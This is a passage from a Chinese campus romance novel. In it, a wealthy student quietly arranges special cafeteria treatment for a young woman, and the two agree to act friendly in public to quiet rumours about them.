夜浓用鱼汤扮着猫粮,一直等到几只流浪猫吃完扭头跑掉,她才站起身。 再回食堂,人已经很少了。 几乎不用想就知道,周一最为热门的排骨和小炒肉肯定会被洗劫一空, 所以夜浓就没有特意往六号窗口去。 她有点挑食,若是看见盛菜的菜盘旁不是特别干净, 她也会没什么食欲, 所以转了一圈之后, 夜浓就只要了一份清炒菜心和一份凉拌黄瓜。 刚一转身, 里面的打饭师傅喊住她, “同学。” 夜浓回头看了眼, 窗口就她和不远处一个女生,夜浓不确定地指了指自己:“您在喊我吗?” 确定对方是在朝自己招手,夜浓这才略有茫然地走过去,她个子高, 弯腰看向里面的打饭师傅:“您找我?” 师傅没说话,一一掀开方盘上的盖子。 腾腾热气的四个方盘里,不仅有排骨和小炒肉,还有每周二才会有的粉蒸肉和周四才有的狮子头。 夜浓看得一时怔住。 今天这太阳是打西边出来了? 打饭师傅问:“要哪个,还是每份都要?” 夜浓反应慢半拍地“哦”了一声后,用手指了指:“要这两样就可以了。” 师傅从旁边拿了一个新勺子,一边往她递进来的饭盒里盛着排骨和小炒肉,一边劝着:“平时上学这么累,多吃点肉啊。” 见他又盛了一勺,吓得夜浓忙把饭盒缩了回来:“不用了师傅,已经够了。” 师傅往那没有第二个人动过的狮子头和粉蒸肉指了指:“这两个都不要?” 夜浓尴尬又无措地摆了摆手:“不用了,多了我吃不完。” 刚一刷完饭卡,还没来及转身,师傅又喊住她:“同学,今天来了一批水果,刚刚切了不少,给你带点回去尝尝。” 食堂什么时候还供应水果了? 太反常了,反常到夜浓想都不想就摇头:“不用了师傅,我不爱吃水果!” 眼看她转身就跑,打饭师傅弯着腰勾着脑袋:“同学——” 食堂里面的墙角处,齐祯抿着嘴,笑得肩膀直抖。 沈屹骁冷眼瞥他:“有这么好笑?” 不好笑吗? 看把他家那位吓得...... 齐祯“咳”了声,把笑压回去后,他一本正经地喊了声“沈总”,他手往外一指:“剩这么多,不能浪费粮食吧?” 沈屹骁不理他,走过去:“刘叔,今天麻烦你了。” 这个叫刘叔的人,是承包一楼食堂的老板,也就是齐祯二舅的一个远房亲亲。 “不麻烦不麻烦,小事而已。” “那剩的这些......”沈屹骁往方盘里指了指。 “没事没事,后厨这么多人呢,还怕吃不完吗?” 今天能碰巧赶上夜浓喂完猫才过来,明天就不确定了。 不过沈屹骁还是想以防万一:“明天您让后厨少做点。” 他往那狮子头和粉蒸肉看了看:“这两种就不要做了,做一点清淡的。” 他心思都这么明显了,刘叔怎能看不出来。 不过看刚刚那小姑娘的反应,惊吓明显大过惊喜。 “这样,下午我让后厨换点花样,学校那边同意后,最迟明天晚上就能上新菜,不然搞特殊,那小姑娘怕是会多想,你觉得呢?” 沈屹骁点头:“行,您有经验,看着办就好。不过那鱼汤,您再免费供应几天,账您先记着,放假前,我过来给您结。” 刘叔“嗐”了声:“你和齐祯的关系,说钱就见外了。” 他话音一落,齐祯的胳膊就搭沈屹骁的肩上了:“刘叔,放心吧,有我呢,他跑不掉。” “你看你这孩子,你俩不是还没吃饭吗,我让后厨给你俩单独烧两个菜,吃完再回去。” 沈屹骁忙说不用了:“我和齐祯还有点事,您也忙一上午了,我们就不打扰了。” 出了食堂,齐祯开始了:“猫粮买了,鱼汤也免费供上了,你家那位的小灶也开起来了,我这能帮的可都帮了。” 听出他话里有话,沈屹骁扭头看他:“所以呢?” 还所以呢? 齐祯一副恨铁不成钢的表情:“你自己也加把劲啊!” 说的好像他什么都没做似的。 “我的事,我心里有数。” “你有数,”齐祯哼了个调儿:“你要真的有数,人怕是都被你带公寓里去了!” 沈屹骁不是一个开不起玩笑的人,但不是一个什么玩笑都让人开的人。 “你再说一次?” 齐祯瞪了他一眼后,迅速转移话题:“你就说什么时候能带出来吃个饭吧!” 他自己都还没和她吃上一顿饭,这人倒先惦记上了。 “想吃饭自己吃去。” 齐祯:“......” 说的好像他真缺那顿饭似的。 他就是迫切地想看看,那位会怎么骑他头上撒野,一想到平时耀武扬威的人会被一个女人拿捏住,且被拿捏得死死的,那种爽感...... 光是想想,就能让他爽出天际。 但是一想到他连人家的小手都没牵到,气得齐祯反手拍他胳膊上,“十天,十天我要是看不见你俩手牵手,你别怪我出去辟谣!” 沈屹骁正色了:“你试试?” 一说到那位,他就急。 齐祯抬手勾了勾眉:“那不然,我去跟她说那鱼汤是你花的钱?” * 虽然食堂开始每天都会供应免费的鱼汤,但夜浓却从来都不会打第二次。 不是不想贪心,而是她不想在这个‘风口浪尖’上再引来其他的流言蜚语。 因为她知道,自己花钱买吃的给流浪猫,别人可能不会说什么,若是用免费的,那可就说不好了。 不过现在还有第二个人跟她一样关注流浪猫的温饱,这倒是解决了她眼下不小的难题。 就是不知道另一道难题要怎么解决。 这几天,宿舍里异常地安静,安静到可以用‘诡异’来形容。 以前晚上需要戴耳机才能隔绝室友们的八卦声,现在可好,只要她一回去,宿舍里就静悄悄的。 晚上在食堂吃完饭,夜浓早早就回去了。 还没走到门口,就听到了李晓琪的声音—— “你说那沈屹骁到底怎么回事,之前不是不住校的吗,谈个恋爱怎么还住回来了,这么有钱,干嘛不把她带出去住,整天在咱们面前晃悠,看着就烦!” “以前我说她假清高,你俩还不信,现在知道咱们学校那么多的男生为什么追不到她了吧?人家这叫蓄势待发,要么不出手,一出手绝对要搞个大的!” “你俩倒是吱个声啊!” “嘘什么嘘,她又不在,我还不能说话了?” 夜浓就是在这个时候推门进去的:“你可以说啊,谁不让你说了吗? 李晓琪没想到她今天回来这么早,在她那双强势看过来的眼神里,李晓琪顿时想到那天在食堂被沈屹骁当众弄的难堪。 提到嗓子眼想怼她的话就这么被她活活咽了下去。 夜浓也不是一个咄咄逼人的人,可这段时间以来,她的冷处理不仅没能平息学校里的流言蜚语,甚至还有一种愈演愈烈的趋势。 虽然她不知道谣言的源头究竟在哪,但今天既然从李晓琪嘴里听到。 夜浓走到她桌前:“这么喜欢嚼舌根,那就去沈屹骁面前嚼,或者当着我的面,别等我不在的时候吧啦吧啦地说个不停。” 看看,谈了个有钱的男朋友,底气都和以前不一样了。 李晓琪坐在桌前,轻蔑的眼神从余光里往她那里瞟,“哪敢啊~” 她拖腔带调的声音,让夜浓哼了声笑:“哪敢?副会长的男朋友你都敢去勾搭,你有什么不敢的?” 李晓琪脸一抬:“你少胡说!” “我有没有胡说,你心里清楚,真以为我整天戴着耳机听不到你半夜给人家打电话?” 整个人又怒又窘下,李晓琪“蹭”地站起身:“有脸说我,你怎么没有脸说自己呢,嘴上说着回家,结果却是跟男的出去过夜,你觉得你又比我好哪里去?” “过夜?沈屹骁吗?”夜浓眼里噙着笑,“可是你们不是都说我和他在一起了吗,既然在一起了,出去过夜不行吗?” 她每一个字都说得不咸不淡,嘴角还笑出凉凉的讽刺,不知是讽刺那些谣言,还是讽刺李晓琪口中的“你又比我好哪里去”这句话。 李晓琪咬紧了牙,一双眼狠狠地瞪着她。 两人之间有一种无声的硝烟,像是只差一星火苗就能引爆。 之前李晓琪在食堂被沈屹骁逼着去道歉的事,到现在还让另外两个室友怯怯的,眼看两人像是要打起来,其中一个女生不得不小心翼翼地从椅子上起身,只是还没想好要怎么劝,就见李晓琪抓起桌上的手机怒气冲冲地走了。 “砰”的一道关门声里,夜浓轻“嗤”一声。 今天周五,她压根也没想在寝室里待着,本来还想着洗个澡就出门,眼下,她澡也不想洗了。 又一道关门声里,另外两个室友面面相觑。 “你说她会不会去跟沈屹骁告状呀?” “要是我,我肯定会。” 的确是被她俩说中了,夜浓真的一口气跑到了男生宿舍楼下,可是沈屹骁具体在哪栋楼她却不知道。 七点不到的天,天色还没有完全暗下来,在一双又一双看过来的视线里,夜浓没向任何一个人打听,就这么站在一杆路灯下等。 她现在是沈屹骁女朋友这事,全校几乎没人不知道,可却没有一个人亲眼看见过两人并肩走在一起的画面,偏偏沈屹骁在食堂里对她明目张胆的袒护,又历历在目。 以至于很多人都在猜,这两人是不是在搞地下恋。 甚至很多人都在脑补两人人前不熟人后猛亲的画面。 眼看时间越来越晚,夜浓还是没能把人等来。 她又一次点开手机,都快九点了。 难不成这人在宿舍? 还是说今天周五,他回家了呢? 正犹豫着自己要不要回去的时候,两个结伴走过来的男生挑起嗓门—— “沈屹骁到学校大门口了,一会儿就到。” 沈屹骁下午没在学校,被他爸爸叫去了公司,之所以在这个点赶回来,完全是因为齐祯一个电话—— “你赶紧回学校去,我一个朋友跟说我说,你家那位在男生宿舍楼下等你呢!” 非教职工的车辆不让进学校,沈屹骁一口气从大门口跑了回来。 四十分钟的车程,十五分钟的长跑。 胸腔的剧烈起伏,不仅有心脏的过度负荷,还有和她第一次面对面的期待。 一向对情绪操控自如的他,第一次被情绪反向拿捏住。 沈屹骁在树下自我调整了好一会儿才往通向宿舍的那条不足两米的小道走。 透白的路灯下,她低着头,明明在等他,却没有四处张望。 就这么绕着一小方地,来来回回地转着。 就不怕和他失之交臂,还是说笃定他一定会走到她面前? 沈屹骁偏开脸笑了声。 行吧,那就打个赌,到底是她夜浓看见他,先朝他走来。 还是他沈屹骁生怕她看不见自己而主动走到她面前。 已经回到匀速的心跳,随着距离的越来越近,随着她低头看手机的动作,而越来越不安,越来越快。 明明还有五米、四米、三米...... 可是双脚却控制不住地往她面前迈近—— 就在沈屹骁心里认输而垂眸失笑一声的时候,一团黑影突然挡在了自己面前。 沈屹骁整个人怔了下,人也猛然站在了原地。 “能打扰你一点时间吗?” 等他的时间里,夜浓在心里想了好几种开场白。 男生嘛,应该都不喜欢绕圈子,所以她还是觉得直白简单一点好。 “这段时间学校一直在传的那些谣言,我想,应该也影响到你,我今天过来,就是想和你商量一下,是你出面还是我出面——” 后面的话被他一声轻笑声打断。 夜浓微微一怔:“你笑什么?” 他在笑,如果她慢一秒走过来,她就赢了。 但是没办法,老天都在帮他。 所以就着这份上天送他的大礼,他忍不住得寸进尺了一番。 “这位同学,我认识你吗?” 大学 “这位同学, 我认识你吗?” 夜浓只觉得啼笑皆非:“和你传了半个月的绯闻,你说你不认识我?” 绯闻? 她竟然用「绯闻」代替「谣言」。 但是又不可否认,好像是比「谣言」要好听许多。 琢磨回味间, 沈屹骁的目光始终落在她眼里,眼看她潋滟的一双眸露出了清冷的光,沈屹骁将嘴角的笑痕压了几分下去, “真正的认识应该从知道彼此的名字开始。” “......” 他是说,他还不知道她的名字? 可她刚刚不是都说了自己和他传了半个月的绯闻了吗? 还是说, 他意在指她没有自我介绍? 夜浓只觉得好气又好笑, “夜浓, 这下认识了吗?” 原来她在临近生气边缘是这样的表情。 唇角轻勾出一缕似是而非的弧度后, 右侧眉梢再轻轻一挑。 “夜浓......夜浓时见月。” 后面五个字从他嘴里念出来的时候,夜浓眼睫轻轻颤了一下。 这么多年以来,夜浓一直都对自己的名字无感。 但是被他略有低沉的嗓音说出来,入耳,让夜浓第一次觉得自己的名字有些好听。 默了几秒, 沈屹骁眉梢微微一挑,像是后知后觉的恍然大悟。 “原来是你, ”他伸出手:“沈屹骁。” 没想到他会以这种方式作为‘认识’的开场, 这让夜浓有些猝不及防。 她低头看向伸过来的那只手, 四指并拢, 手指细白纤薄, 但却有一种矛盾的力量感。沿着往上, 能看见手腕那一截凸起的腕骨上,健康而有力的青色血管。 夜浓抬头看了他一眼后,又低头看向他的手,短暂迟疑后, 她伸手握住。 六月初的晚上,风都是燥的,可他的手掌心却很凉滑,感觉到他指掌微微用力的那一瞬,夜浓眉心一跳。 明明被握住的是她的手,可却感觉心脏都跟着紧了一下。 那种感觉很奇怪,也很陌生。 是夜浓从未有过的。 可是这种礼貌不应该一触即离,点到为止吗?可是他却没有松开她的手的意思。 夜浓浅浅皱了下眉,再抬头,又一次撞进他漆黑却很亮的瞳孔。 说不清是感觉到他的异常,还是自己有些心慌意乱,夜浓主动抽回了自己的手。 “我刚刚...” 她刚刚说到哪里来着? “你说,你来找我商量——” “哦,对,商量,就、学校里传的那些,你看,是我出面澄清,还是...你?” 她吞吐不连贯的话,飘转不定的眸光,说完就轻轻抿住的唇,全都是她慌乱的证明,也无一不被沈屹骁捕捉在眼里。 可是她在慌什么? 是因为刚刚握住了她的手,还是他凝眸追在她脸上的视线让她觉得无措、难为情,又或者...... 她在害羞? 沈屹骁的视线依旧停留在她脸上,从她的唇追到她的眼,几番追逐后,他漆黑却又泛着水光的一双眼,重新落回到她漂亮的眼睛里。 “你想我怎么澄清?” 一句话,把夜浓问住了。 沈屹骁看着她茫然的眼睛:“或者说,换做是你,你要怎么澄清?” 是啊,她要怎么澄清。 难道把全校人都召集起来,说他们之间毫无瓜葛吗? 可是不澄清的话,那些谣言到底要满世界地飞到什么时候? 以前学校也不是没有人说过她是非,可总是要不了几天就消停了。这次可好,都半个多月过去,不仅没有往下平息,还愈演愈烈。 既然是来找他商量,夜浓耐着性子问:“那照你的意思呢?” 照他的意思...... 沈屹骁抬起手腕看了眼时间:“吃饭了吗?” 这人怎么答非所问呢? 夜浓点了点头:“吃过了。” “我还没吃。” 夜浓:“......” 所以这是间接给她下逐客令,让她走的意思? 可真是委婉。 夜浓不给自己找难堪,“不好意思,你就当我今天没来过。” 沈屹骁万万没想到她会是这样的反应,眼看她转身就走,沈屹骁来不及想,伸手抓住了她手腕:“你想哪里去了?” 刚好迎面走来几个男生,夜浓慌忙把手挣了回来。 眼看她往旁边站远了两步,沈屹骁心里又气又想笑。 “这么不想被人误会,那你还在这里等了我这么久?” 夜浓抬头看他:“那你澄清不就好了。” 埋怨人的调子竟然软乎乎的。 沈屹骁弯了几分腰,追着她那双看向别处眼睛:“那我刚刚问你要怎么澄清,你又不说?” 她要是有办法,还过来找他干嘛。 再说了,他也是当事人,还是个男的,她一个女的去澄清,算怎么回事。 一阵腹诽后,夜浓瞥他一眼:“难道那些难听的话,对你一点影响都没有吗?” 这要是说没有,估计能把她小脾气给炸出来。 沈屹骁故作思忖后,点了点头:“有。” “既然有,那我们就想个办法让那些谣言止住啊!” 她说的是「我们」。 沈屹骁嘴角止不住地往上扬了扬:“在这里想吗?” 不等夜浓细想他意思,就见他下巴一抬—— “正好我没吃饭,一起?” 夜浓下意识就往西看了眼:“食堂吗?” 虽说食堂是一个最佳制造新‘绯闻’的地方,但这么难得的机会,沈屹骁更想和她独处。 “去外面?” 他是征询的语气,但看见她眼里有犹豫,甚至一点点接近于排斥的时候,沈屹骁说:“你如果无所谓被别人看见的话,食堂也可以。” 他这么一说,夜浓顿时选了前者:“那还是去外面吧。” 没想到激将对她有用,沈屹骁眼底藏笑:“那走吧。” 九点多的晚上,又恰逢周五,学校里随处都是人。 夜浓没有和他并排走着,就这么落后他两三步。 灯光很成人之美,将沈屹骁的影子斜在他的右前方。 只要他往右看上一眼,就能看见落后他不远的,她的影子。 如果他走慢一点呢,他们的影子会重叠吗? 见地上那团脑袋垂着,沈屹骁没有将步子放慢,他直接站在了原地。 刚好三秒的倒数,刚好他们的影子重合了二分之一。 只要一步。 不,只要半步。 她的额头就能撞到他的后背了。 偏偏那只可可爱爱的脑袋抬了起来。 沈屹骁无声失笑的同时,站在原地的脚也迈了出去。 眼看离学校大门越来越近,夜浓快了几步追了上来:“你刚刚说的外面是哪?” 还以为她没有问,是随便他去哪都可以呢。 沈屹骁说:“凯旋国际,我平时吃饭的地方。” 夜浓倒吸一口气:“那也太远了。” “那不然你推荐一个地方?” 学校门口也没有吃的,最近就是白梨巷。 但是像他这种养尊处优的人,怎么肯去那种地方。 夜浓对如何澄清一点头绪都没有,看他的样子,估计也不比她好哪里去。 既然这样,夜浓提议:“不然今晚我们都各自想想,想好了,我们再碰一下。” 所以这是要放他鸽子的意思? 沈屹骁气的都想笑。 偏偏面前这人,压根就不管他的情绪,细白的小手一抬—— “那我先回去了,拜拜。” 联系方式都不留一个就拜拜。 气得沈屹骁都没喊她名字。 “嗳。” 夜浓回头看他。 “你知道商学院都怎么传我和你的吗?” 夜浓当然知道,但是从他的话里,她听出了其他的意味。 难道还有什么是她没有听过的? 沈屹骁一步步走过来,“说咱俩是人前不熟,人后猛亲。” 竟然传的这么离谱? 夜浓眼睛瞬间睁大了一圈。 “所以我们越是装不熟,越是给那些人提供想象的空间。” 所以呢,他是想表达什么? 夜浓没有问,就这么看着他。 然后听见他说—— “如果我们反其道而行呢?” “反其道而行?”夜浓听得一头雾水:“什么意思?” “你先告诉我,相比偷偷摸摸地和我搞地下恋——” 夜浓没听完就打断他:“我什么时候和你偷偷摸摸的搞地下恋了?” 相比她的声疾厉色,沈屹骁更显不疾不徐。 他双手抄兜,弯下腰,把自己眉眼里的笑摊在她面前。 “先听我说完好不好?” 夜浓突然觉得面前的这个人和外界传言的一点都不像。 什么盛气凌人、趾高气昂、目中无人。 从她拦住他开始,他眉眼和嘴角的笑几乎就没怎么压下去过,不止,还有他的声音,慢吞吞的调子里,也夹杂着丝缕的笑痕。 所以说,谣传真的不能信。 被他一双柔软的眼神看着,夜浓声线也不由得软了下来,“你说吧。” “就我刚刚说的第一种谣言,和另外一个,说我在追你的相比,哪一个更让你困扰?” 那还用说吗? 夜浓心头难掩烦躁:“当然是第一个。” 沈屹骁眼睛里藏着循循善诱的光:“所以懂我说的反其道而行是什么意思了吗?” 心里陡然冒出的一个猜测,让夜浓深拧的眉心突然一展:“你该不会要我反过来追你?” 听得沈屹骁都想抬手在她额头上弹那么一下。 他失笑道:“想什么呢?” 她说错了吗? 夜浓茫然地看着他:“那你是什么意思?” 太直白怕是会让她生出戒备。 沈屹骁掂量着用词,“看见我别躲,也别像刚刚那样,生怕别人误会似的,离我太远。” “就这样?” 当然不止这样。 但他又怎么能把他心里的那些念头全部说给她听? “介不介意和我做个朋友?” 和他做朋友? 夜浓确定自己没有听错,但她不确定他的真实意图。 “什么样的朋友?”她问。 总不能说男女朋友吧,虽然他的确是这么想的。 沈屹骁手握一半的主动权,然后把另一半的选择权给她。 “过程我来做,结果你来定。” “怎么样?” 夜浓听得含含糊糊:“你能不能说明白点?” 说明白点估计连下一面都见不着了。 “别想的那么复杂,”沈屹骁看着她的同时,信誓旦旦:“总之我跟你保证,只要你配合我,那些谣言一定会很快止住。” 大学 虽说夜浓对他的保证抱有怀疑态度, 但眼下除了相信他,她实在是没有更好的办法。 “那好吧。” 虽说沈屹骁面上镇定,可心脏也悬着。 听见她答应, 他心里暗松一口气。 “送你回去。” 夜浓摇头说不用:“你去吃饭吧,我自己回去就行了。” 沈屹骁回头看了眼:“刚刚可是有很多双眼睛看见你跟我出来了,我若是一个人走了, 你觉得那些人会怎么想?” 还能怎么想? 夜浓说:“你回家,我回寝室, 不正好辟谣吗?” 沈屹骁却说:“你怎么就知道他们会觉得你是回寝室, 也许在他们看来, 你是故意回寝室, 过一会再偷偷出来呢?” 夜浓愣了一下:“我再偷偷出来,我出来干嘛?” 沈屹骁被她轻而易举就能被他带偏的小脑袋惹笑。 “那些人都认定咱俩是偷偷摸摸的关系了,你说你再出来干嘛?” 夜浓:“......” 所以这就是男生的思维吗? 竟然和她完全反着来。 见两个女生都走到门口了还在回头看他们,夜浓无奈又没辙:“那走吧。” 回去的路上,夜浓没再像之前那样走在他身后。 从大门口到女生宿舍, 将近二十分钟的步行时间里,夜浓不知捕捉到了多少双看过来的视线。 这么和他走在一起, 真能破那些谣言? 难道不是会让别人更加议论吗? 夜浓扭头看他:“你确定这种办法可行?” 她眼里的质疑太过明显, 沈屹骁索性把问题丢给她:“那不然你想一个更好的。” 夜浓刚刚真就想到了一个:“你应该谈一个女朋友。” 沈屹骁都想回她一句:那你怎么不谈一个男朋友。 心里闪过这句话的时候, 他突然想起上次在白梨巷看见的那个男人。 虽说齐祯说是她的亲戚, 但沈屹骁一直将信将疑, 今天倒是巧了, 正好借这个机会亲自问她。 “你不是有男朋友吗?” 他语气随意,夜浓回得也漫不经心,“男朋友算什么。” 沈屹骁听得蹙眉:“什么意思?” 她笑里有着明晃晃的自嘲,“还有说我被包.养的呢。” 如此不堪的两个字, 光是听在耳里就让他胸腔暗涌四起,可是却被她那么轻描淡写地说出来,甚至还带着笑。 沈屹骁只觉得心脏疼了一下。 也正是因为心疼,让他眼里的光浮浮沉沉了许久。 直到把她送到宿舍楼下。 “洗个澡,好好睡一觉,其他的交给我。” 不知是不是自己想多了,夜浓从他的话里听出几分若有似无的关心。 可是他们才认识多久? 夜浓压下心头的敏感,朝他回了个礼貌的笑:“今天这事麻烦你了。” 她礼貌客套,以为他也会客气一句,结果却见他下巴一抬。 “去吧。” 夜浓:“......” 这人是不是自来熟的有点过分了? 上了台阶,夜浓忍不住回头看了眼。 却见他还站在原地,甚至在接到她眼神后,还朝她走了过来。 ‘吓’得夜浓慌忙回过头去。 沈屹骁看着她瞬间转回身的背影,还有那落荒而逃的小碎步,不禁笑了声。 可是当夜浓的影子消失在他眼底,他眉眼里的笑痕几乎瞬间平了下去。 转过身掏出手机时,他表情更是一秒冷到彻底。 “在我之前,学校里都还传过她哪些谣言?” 齐祯可谓是两耳听遍窗外事:“那可太多了。” “包.养?” 随着这两个字从他嘴里说出来,他眼角也眯出锐利。 尽管他声音听着古井无波的,但齐祯太了解他的脾气了,越是生气,他越是能做到不露情绪。 “那都是以前了——” 沈屹骁打断他的左右而言他:“把源头查出来给我。” 查到了,然后呢? 齐祯问:“你要干嘛?” “那你别管。” 齐祯知道他不是冲动的性子,但会不会为了女人昏头,他还真说不准。 可这事他要是不查,沈屹骁自己也会查。 “行,我回头问问。”允诺完,齐祯问起正事:“她晚上找你干嘛去了?” 沈屹骁不是一个事事都喜欢分享的人。 “你谈过几个女朋友,我有问过吗?” 齐祯可不像他这么‘小气’,“那你问不就行了。” “没兴趣。” 能让他有兴趣的事不少,有兴趣的人却不多。 异性里,这么多年来,夜浓是唯一一个。 不理电话那头的满腔好奇,沈屹骁挂断电话。 手机从耳边拿下来后,他点开通讯录。 看着被他存进手机已经两个星期,却从未拨出去过的两个字,他垂眸笑了声,再回头,他看向女生宿舍所在的方向。 明后两天是周末,他要回公司,那她呢? * 周末对于夜浓来说,只有三件事:睡觉、看书、发呆。 当然,如果天气好的话,她也会去公园。 公园是唯一一个,让她觉得人多热闹,但又不觉吵闹的地方。 是的,她不喜欢吵,更不喜欢听八卦的声音,偏偏寝室的三个室友,总爱聊八卦。 本来她还想着,回来洗个澡就出门,结果推开寝室的门,看见李晓琪已经回来,她突然就改变了主意。 凭什么她要花钱出去买清净。 她就在寝室待着。 她倒要看看,经过今晚这一吵,她们还会不会再像以前一样,说话没顾没忌的。 结果这一晚,整个寝室里出奇得安静。 安静到让人不适。 翌日周六,夜浓以为她们会和往常一样结伴出门,结果都到了午饭的点,三个室友竟然连床都没起。 当然,夜浓也没好到哪里去。 昨晚她破天荒地失眠,眼看都要睡着了,不知是哪个室友下床撞出了声响,她整个人一惊,姗姗来迟的困意就这么被吓跑了。 夜深人静就容易胡思乱想,想着想着就想到了某人的脸,还有那句:「过程我来做,结果你来定。」 当时没想明白这句话的意思,经过后半夜的琢磨和回味,夜浓越来越觉得这短短的十个字,有很深的深意。 过程他来做。 他是要做什么? 结果她来定。 难道还有好几种结果吗? 虽然依旧没想出所以然来,但她就是觉得这句话不对劲。 至于到底哪里不对劲,她又说不上来。 更让人意外的是,周六晚上,李晓琪刚一从外面回来就开始收拾行李了。 另外两个室友问她要去哪,她却怎么都不肯说。 中途,夜浓也好奇地看过去两眼。 除了床上的被子折在那儿没动,桌子上的东西都被收拾得干干净净。 这是要换寝室? 是与昨晚和她吵的那架有关? 本来夜浓心里还不确定,直到李晓琪推着行李走到门口又折回来。 “昨晚对不起。” 说完,她都不给夜浓反应的时间就走了。 在两个室友的面面相觑里,夜浓整个人愣了好一会儿。 虽然她没把李晓琪搬离寝室这件事和沈屹骁联想到一起,但却不妨碍别人这么想。 但是耳机里循环着的英语单词,阻隔了外界的窃窃私语。 夜浓依旧像往常一样上课下课,回寝室拿饭盒再去食堂打饭。 每个窗口都像往常一样排着长龙,夜浓也像往常一样,有秩序地排队。 缓慢往前挪动的间隙里,后肩突然被拍了一下,夜浓肩膀微微一提,扭头看见身后的人,她瞳孔微微一缩。 “这么巧。” 夜浓瞥了眼他空空的两手。 巧吗? 她怎么觉得他是故意站到她身后的。 视线从他上翘的嘴角收回后,夜浓什么也没说就转回了身。 不过她冷淡的反应都在沈屹骁的意料之中。 又往前走了几步之后,沈屹骁把脸低到她肩膀上方,“周五我怎么说来着?” 他倒不是刻意制造暧昧,只是想低声给她提个醒。 可这样的说话方式,在周围人的眼里,完全就是情侣之间的亲昵耳语。 夜浓对异性一直都有防备心。 再加上他说话带出的鼻息,若有似无地轻斥在耳廓,夜浓几乎都没等他话音落地就往旁边躲了一步。 刚好一个男生双手端着餐盘从她身后经过。 几乎是瞬间,沈屹骁就伸出胳膊勾住了她的腰,只轻轻一个收臂的动作,就把人搂到了身前。 如果不是被她拿在手里的饭盒挡着,夜浓势必会撞到他怀里。 第一次面对面地离她这么近,也是第一次与她身体有了掌心的接触。 说实话,沈屹骁一点都不想松手,可他却一个迟疑也没有。 安分的指掌,连着他圈成圆的手臂,在夜浓还没有来及做出反应的间隙里,迅速被他收了回来。 视线从她微微睁大一圈的眼睛上收回,沈屹骁目光淡淡地朝前抬了个下巴。 夜浓微微一愣,反应过来他的意思,她回头的功夫,人也迅速转过身往前走了几步。 心跳的加速里,夜浓不用看就知道周围有多少双眼睛盯在她,又或者他的身上。 可她却半点怪他的话都说不出来。 毕竟刚刚若不是他,她就要打翻别人的餐盘了。 可若不是他靠她那么近说话,她又怎么—— “自然点。” 耳后传来的声音,让夜浓乱飞的思绪凝了回来。 她回头,没好气地剜了眼身后的人:“别和我说话!” 明明是凶巴巴的语气,可沈屹骁却听得眉眼露笑。 “不说话,别人肯定会说,咱俩在生气。” 这人是长了顺风耳吗,别人想什么他都知道? 视线不经意地一瞥,好巧不巧地看见右手边的队伍里,两个女生在咬耳朵,一边‘咬’着,一边往他们这边看。 好像真的在说—— 看见了吗,生气了,沈屹骁在哄她呢! 大学 视线再一偏转, 又见两个男生也往这边看,一边看,一边在那笑得肩膀直抖。 真不知有什么好笑的! 夜浓一点也没收着自己的脾气, 冰冷的眼神警告地盯着那两个男生看。 偏偏她眼睛生得漂亮,深咖色的一双瞳,水润润的, 凝眸看人时,半含秋水波光潋滟。 两个男生被她看的, 嘴角的笑虽然止住了, 但视线却没舍得收回来。 被那样直勾勾的眼神缠着, 让人心烦又气躁。 都是身后这个人干的好事, 那么多的窗口,干嘛非得站在她身后,这不是变着法地让别人说三道四吗? 夜浓胳膊肘往后一伸,正好抵在了沈屹骁的怀里。 “你看!” 气恼里带着几分委屈的调子,全是埋怨。 沈屹骁刚刚在低头看短信, 胸口被她突然这么一撞,条件反射地抬头看她。 没有接到她视线, 却见她又凶又恼的一双眼盯着斜后方。 沈屹骁扭头看过去。 他瞳孔是深邃的黑色, 自带一股威慑力, 不过一个扫眼, 就让周围多双看过来的眼睛都一一别开了视线。 “......” 效率高的, 让夜浓都愣住了。 不可置信的一双眼落到他脸上, 只见他微薄的唇,朝她扬出一个浅浅的弧度。 与其说是笑,倒更像一个礼貌的回应。 视线从他的脸再波及到周围一圈,刚刚那么多意味不明的眼神, 都没有再看过来。 夜浓想到那天晚上他说的那句话:总之我向你保证,只要你配合我,那些谣言一定会很快止住。 可是她刚刚哪有配合他什么,她甚至还作气地用手肘捣了他一下。 甚至都没有收力。 夜浓往他胸口看了眼,正犹豫着要不要说一声抱歉的时候,见他朝自己身后抬了个下巴。 夜浓回头看了眼,忙几个小步跟上去。 眼看排在身前的人越来越少,夜浓想到他空着的两手,忍不住问道:“你来打饭,怎么都不带饭盒?” 虽然是跟他说话,但夜浓没有回头看他,只是把肩膀往后倾了几分。 为了配合她的‘不想被人误会’,沈屹骁也压低声音,“我不吃。” 不吃? 夜浓被他的回答意外到回头:“那你来食堂干嘛?” “来找你。” 他不假思索的回答,让夜浓微微一愣,“来、来找我?” 她眼里有茫然,也有疑惑,交杂在一起,让她平时很是清冷的骨相带出几分可爱的娇憨。 沈屹骁轻笑一声:“不然我为什么站在你身后?” “同学?” 打饭师傅的声音沈屹骁往前勾了勾下巴:“先打饭,一会儿说。” 一心二用里,她思绪转的有点慢,手指的动作也有点乱。 转过身来才注意到自己竟然要了最不喜欢吃的香菇。 沈屹骁已经从队伍里出来并走到了她身侧。 见她又是皱眉又是咬唇的,沈屹骁往她手里的饭盒里看了眼:“怎么了?” “有香菇。” 三个字,像是回答他,又像是无奈的自言自语。 沈屹骁被她生动的表情惹出一声笑:“不爱吃,等下挑出来不就好了。” 夜浓盖上饭盒的盖子,抬头看他:“你来找我,是有什么事吗?” 沈屹骁点头:“有件事想请你帮忙。” 他竟然会有事需要找她帮忙? 夜浓眼里的茫然更深了:“什么事?” 沈屹骁往周围扫了眼:“找个地方坐。” 都不给她说不的机会,沈屹骁就径直朝餐桌区域走。 这个点,正是食堂人最多的时候。 有空位,没有空桌子。 刚刚被沈屹骁眼神警告过的那些人,虽然不再明目张胆地追着两人看,但却不妨碍余光偷瞄。 眼看沈屹骁找位的眼神,一个两个都不约而同地端起面前的餐盘起身。 不过几个眨眼的功夫,就腾出了三张桌子。 沈屹骁也不客气,在其中一张餐桌前停住的时候,往不远处自发拼桌给他腾位置的几人还了一记“谢了”的眼神。 但是夜浓却没有走过去,就这么站在原地,眼睁睁地看着沈屹骁和他们的一来一回的眼神交流。 说真的,她都怀疑他们是不是串通好的。 更离谱的是,就在她想转身离开这个是非之地的时候—— “赶紧过去呀!” 夜浓愣了一下,还没看清对方的长相,那女生就一阵风似的从她身前‘飘’走了。 夜浓:“......” 所以是在跟她说话? 夜浓视线追着那个女孩的背影,正一脸茫然时,面前突然罩过来一团阴影。 “怎么不过去坐?” 轻轻浅浅的调,打断了她的思绪。 夜浓抬头看他时,刚好撞进他乌黑的,深不见底的,漾着淡淡笑痕的眼底。 